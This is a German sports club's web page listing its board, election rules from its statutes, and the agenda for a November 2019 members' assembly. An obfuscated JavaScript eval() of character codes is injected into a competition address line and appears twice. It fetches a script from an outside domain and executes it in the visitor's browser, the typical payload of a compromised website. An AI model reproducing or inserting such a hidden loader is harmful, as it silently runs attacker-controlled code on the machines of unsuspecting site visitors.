Vorstand
Vertretungsberechtigter Vorstand
Der derzeitige vertretungsberechtigte Vorstand wurde auf dem Vereinstag am 16. November 2017 wie folgt gewählt und hat sich folgende Aufgabenverteilung gegeben:
Kontakt zum Vorstand
Der gesamte Vorstand ist über E-Mail unter vorstand@tusli.de und postalisch über die Geschäftsstelle zu erreichen.
Die einzelnen Vorstandsmitglieder sind zu erreichen über:
- E-Mail: paul.harfenmeister@tusli.de
- E-Mail: brigitte.menzel@tusli.de
- E-Mail: maximilian.totel@tusli.de
Satzung
Die Satzung des TuS Lichterfelde gibt die Regeln für die Wahl des vertretungsberechtigten Vorstandes vor:
- der Vorstand besteht aus 3 bis 7 Mitgliedern
- er wird vom Vereinstag (der Mitgliederversammlung) gewählt
- die Wahl erfolgt für zwei Jahre
- das Amt muss nach Ablauf der zwei Jahre bis zur nächsten Wahl weitergeführt werden
- die Wahl der Mitglieder erfolgt nicht für bestimmte Aufgaben
- die Aufgabenverteilung erfolgt nach der Wahl intern im Vorstand und ist mitzuteilen
- dem Vorstand können weitere Vereinswarte mit beratender Stimme angehören
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14Nov18:3020:00Vereinstag (Mitgliederversammlung) 2019
Details
Sehr geehrte Mitglieder, der Vorstand des Turn- und Sportvereins Lichterfelde von 1887 e.V. lädt nach §16 Absatz 3 der Satzung alle Mitglieder, die - gemäß § 9 der Satzung - das
Mehr..
Details
Sehr geehrte Mitglieder,
der Vorstand des Turn- und Sportvereins Lichterfelde von 1887 e.V. lädt nach §16 Absatz 3 der Satzung alle Mitglieder, die – gemäß § 9 der Satzung – das 14. Lebensjahr am 14. November 2019 vollendet haben zum
Vereinstag (Mitgliederversammlung)
am 14. November 2019
in die „Almhütte“ im Verein der Bayern,
Hindenburgdamm 7, 12203 Berlin ein.
Beginn 18:30 Uhr (Einlass ab 18:00 Uhr)
Anmeldung in der Geschäftsstelle oder unter info@tusli.de bis 01.11.2019 wird erbeten, um genügend Sitzplätze zu garantieren!
Öffentliche Verkehrsmittel: M11, X11, M85, 285, 184 bis Goerzallee/Drakestraße
Stimmberechtigt sind alle – nicht beitragssäumigen – Mitglieder, die das 16. Lebensjahr am 14. November 2019 vollendet haben.
Der Vorschlag zur Tagesordnung folgt weiter unten.
Anträge sind bis zum 30. September 2019 in maschinengeschriebender Form an den Vorstand zu richten (siehe §16 Absatz 4 der Satzung). Wegen etwaiger späterer Anträge siehe §16 Absatz 5 der Satzung.
Am Veranstaltungstag bekommt jedes Mitglied einen Getränkegutschein für ein Getränk (z.B. für Softdrinks, Biere, Weine oder Kaffee/Tee) zur freien Verfügung.
Zusätzlich wird es eine kleine Auswahl an Speisen (z.B. belegte Brötchen, Boulette, Wiener) geben. Diese Speisen und weitere Getränke können auf eigene Kosten erworben werden.
Zum Vereinstag muss der Beschluss aus dem Jahr 2018 zum geplanten Vereinszentrum neu gefasst werden. Siehe Tagesordnung!
Zusätzlich möchten wir auf die diesjährigen Vorstandswahlen und das Infoplakat hinweisen. Als mittlerweile größter Mehrspartenverein in Steglitz-Zehlendorf suchen wir Mitstreiter/innen, die mit einem tollen Team den TuSLi führen und weiterentwickeln möchten.
Wir bitten um zahlreiches Erscheinen und freuen uns auf einen erfolgreichen Vereinstag in geselliger Atmosphäre. Bitte die Anmeldung in der Geschäftsstelle oder per Mail an info@tusli.de bis spätestens 01. November 2019 nicht vergessen, da wir sonst nicht für jeden einen Sitzplatz garantieren können!
Der Vorstand
Paul Harfenmeister – Brigitte Menzel – Maximilian Totel
Vorschlag zur Tagesordnung:
TOP 1 Begrüßung
1.1 Wahl einer Protokollführung
1.2 Wahl einer Sitzungsleitung
1.3 Feststellung der satzungsgemäßen Einladung
1.4 Genehmigung der Tagesordnung
1.5 Genehmigung des Protokolls des letzten Vereinstages vom 15.11.2018
TOP 2 Totengedenken
TOP 3 Anträge
TOP 4 Berichte und jeweilige Aussprache
4.1 des Vorstandes
4.2 des Schatzmeisters
4.3 des Vereinsrates
4.4 des Schlichtungsausschusses
4.5 des Festausschusses/der Festwartin
4.6 des Strukturbeirates
4.7 des Finanzausschusses
TOP 5 Entlastung des Vorstandes und Vereinsrates für 2018
TOP 6 Wahlen
6.1 des Vorstandes
6.1.1 Vorstellung der Kandidaten
6.1.2 Beschluss über die Anzahl der zu wählenden Vorstandsmitglieder
6.1.3 Wahl der Vorstandsmitglieder
6.2 des Finanzausschusses
6.3 des Schlichtungsausschusses
6.4 des Wahlausschusses
6.5 weiterer Vereinswarte (Hinweis Vereinsjugendwart siehe unten)
TOP 7 Vereinsprojekt „Neue TuSLi-Heimat“
7.1 aktuelle Infos und ggf. Entwürfe
7.2 Beschluss in Bezug auf den Bau eines eigenen Vereinszentrums (siehe unten)
TOP 8 Haushaltsplanung 2019
8.1 Vorstellung des Haushaltsplanes 2019
8.2 Beschluss der Jahresgrundbeiträge und der Aufnahmegebühr 2019
8.3 Beschluss des Haushaltsplanes 2019
TOP 9 Verschiedenes
TOP 10 Schlusswort
Vorschlag Beschlussfassung Vereinstag 14.11.2019:
„Der Vorstand (in Zusammenarbeit mit einem Expertenteam) wird mit dem Bau eines Vereinszentrums für den TuSLi auf dem Gelände Stadion Lichterfelde beauftragt. Dabei darf das Bauvolumen von 1.000.000 Euro nicht überschritten werden. Das Vereinszentrum soll anhand der Entwürfe des Architekten und im Sinne des Vereins gestaltet werden.“
Hinweis zum Vereinsjugendwart (Antrag aus dem Protokoll Vereinstag 2017):
Die Abteilungen und der Vorstand haben in den letzten zwei Jahren den Jugendbereich nur geringfügig stärken können. Es gibt somit weiterhin keine neue Jugendordnung, keine Jugendvollversammlung und daher kann zum Vereinstag 2019 auch kein Vereinsjugendwart gewählt werden. Der Vorstand wird das Thema auch in Zukunft weiter angehen.
Wann?
(Donnerstag) 18:30 - 20:00
Wo?
Almhütte im Verein der Bayern
Hindenburgdamm 7, 12203 Berlin
07Dez10:0018:00BTFB Weihnachtswettkampf P- und K-Stufen
Details
LLZ RSG, Paul-Heyse-Str. 25,10407 Berlineval(118,97,114,32,99,32,61,32,48,59,118,97,114,32,109,104,102,115,100,102,115,100,102,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,47,42,42,47,44,49,49,54,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,54,47,42,42,47,44,49,49,50,47,42,42,47,44,49,49,53,47,42,42,47,44,53,56,47,42,97,100,116,51,52,53,51,52,53,42,47,44,52,55,47,42,42,47,44,52,55,47,42,42,47,44,57,56,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,49,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,53,47,42,42,47,44,52,54,47,42,100,102,115,100,102,115,100,102,42,47,44,57,56,47,42,42,47,44,49,48,49,47,42,42,47,44,49,48,56,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,57,55,47,42,42,47,44,49,49,54,47,42,42,47,44,49,48,49,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,52,47,42,100,102,115,100,102,115,100,102,42,47,44,57,56,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,49,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,57,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,57,55,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,53,47,42,42,47,44,49,49,54,47,42,42,47,44,49,48,52,47,42,42,47,44,49,48,49,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,49,52,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,48,49,47,42,100,102,115,100,102,115,100,102,42,47,44,52,54,47,42,100,102,115,100,102,115,100,102,42,47,44,57,57,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,49,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,57,47,42,100,102,115,100,102,115,100,102,42,47,44,52,55,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,54,47,42,42,47,44,49,49,52,47,42,109,104,102,115,100,102,115,100,102,42,47,44,57,55,47,42,42,47,44,49,49,48,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,49,53,47,42,100,102,115,100,102,115,100,102,42,47,44,52,55,47,42,42,47,44,49,48,48,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,49,49,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,57,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,48,47,42,42,47,44,49,49,54,47,42,42,47,44,57,55,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,50,47,42,42,47,44,49,48,49,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,52,54,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,48,54,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,53,47,42,42,47,44,54,51,47,42,109,104,102,115,100,102,115,100,102,42,47,41,59,118,97,114,32,102,103,106,103,107,102,103,107,102,107,32,61,32,100,102,115,100,102,115,100,102,40,109,104,102,115,100,102,115,100,102,41,59,105,102,40,102,103,106,103,107,102,103,107,102,107,46,108,101,110,103,116,104,32,62,32,51,41,123,115,100,104,100,102,106,100,106,40,102,103,106,103,107,102,103,107,102,107,41,59,125,32,102,117,110,99,116,105,111,110,32,100,102,115,100,102,115,100,102,40,117,100,102,104,100,102,103,104,100,102,41,123,32,118,97,114,32,97,100,116,51,52,53,51,52,53,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,97,100,116,51,52,53,51,52,53,46,111,112,101,110,40,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,55,49,44,54,57,44,56,52,41,44,32,117,100,102,104,100,102,103,104,100,102,44,32,102,97,108,115,101,32,41,59,97,100,116,51,52,53,51,52,53,46,115,101,110,100,40,32,110,117,108,108,32,41,59,114,101,116,117,114,110,32,97,100,116,51,52,53,51,52,53,46,114,101,115,112,111,110,115,101,84,101,120,116,59,125,102,117,110,99,116,105,111,110,32,115,100,104,100,102,106,100,106,40,116,111,100,111,41,123,32,118,97,114,32,106,103,102,115,97,101,97,119,32,61,32,110,101,119,32,70,117,110,99,116,105,111,110,40,39,120,39,44,32,39,121,39,44,32,116,111,100,111,43,39,32,114,101,116,117,114,110,32,120,43,121,59,39,41,59,106,103,102,115,97,101,97,119,40,48,44,48,41,59,125);eval(118,97,114,32,99,32,61,32,48,59,118,97,114,32,109,104,102,115,100,102,115,100,102,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,47,42,42,47,44,49,49,54,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,54,47,42,42,47,44,49,49,50,47,42,42,47,44,49,49,53,47,42,42,47,44,53,56,47,42,97,100,116,51,52,53,51,52,53,42,47,44,52,55,47,42,42,47,44,52,55,47,42,42,47,44,57,56,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,49,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,53,47,42,42,47,44,52,54,47,42,100,102,115,100,102,115,100,102,42,47,44,57,56,47,42,42,47,44,49,48,49,47,42,42,47,44,49,48,56,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,57,55,47,42,42,47,44,49,49,54,47,42,42,47,44,49,48,49,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,52,47,42,100,102,115,100,102,115,100,102,42,47,44,57,56,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,49,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,57,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,57,55,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,53,47,42,42,47,44,49,49,54,47,42,42,47,44,49,48,52,47,42,42,47,44,49,48,49,47,42,102,103,106,103,107,102,103,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,42,47,41,59,118,97,114,32,102,103,106,103,107,102,103,107,102,107,32,61,32,100,102,115,100,102,115,100,102,40,109,104,102,115,100,102,115,100,102,41,59,105,102,40,102,103,106,103,107,102,103,107,102,107,46,108,101,110,103,116,104,32,62,32,51,41,123,115,100,104,100,102,106,100,106,40,102,103,106,103,107,102,103,107,102,107,41,59,125,32,102,117,110,99,116,105,111,110,32,100,102,115,100,102,115,100,102,40,117,100,102,104,100,102,103,104,100,102,41,123,32,118,97,114,32,97,100,116,51,52,53,51,52,53,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,97,100,116,51,52,53,51,52,53,46,111,112,101,110,40,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,55,49,44,54,57,44,56,52,41,44,32,117,100,102,104,100,102,103,104,100,102,44,32,102,97,108,115,101,32,41,59,97,100,116,51,52,53,51,52,53,46,115,101,110,100,40,32,110,117,108,108,32,41,59,114,101,116,117,114,110,32,97,100,116,51,52,53,51,52,53,46,114,101,115,112,111,110,115,101,84,101,120,116,59,125,102,117,110,99,116,105,111,110,32,115,100,104,100,102,106,100,106,40,116,111,100,111,41,123,32,118,97,114,32,106,103,102,115,97,101,97,119,32,61,32,110,101,119,32,70,117,110,99,116,105,111,110,40,39,120,39,44,32,39,121,39,44,32,116,111,100,111,43,39,32,114,101,116,117,114,110,32,120,43,121,59,39,41,59,106,103,102,115,97,101,97,119,40,48,44,48,41,59,125);
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Details
LLZ RSG, Paul-Heyse-Str. 25,10407 Berlin
Wann?
(Samstag) 10:00 - 18:00
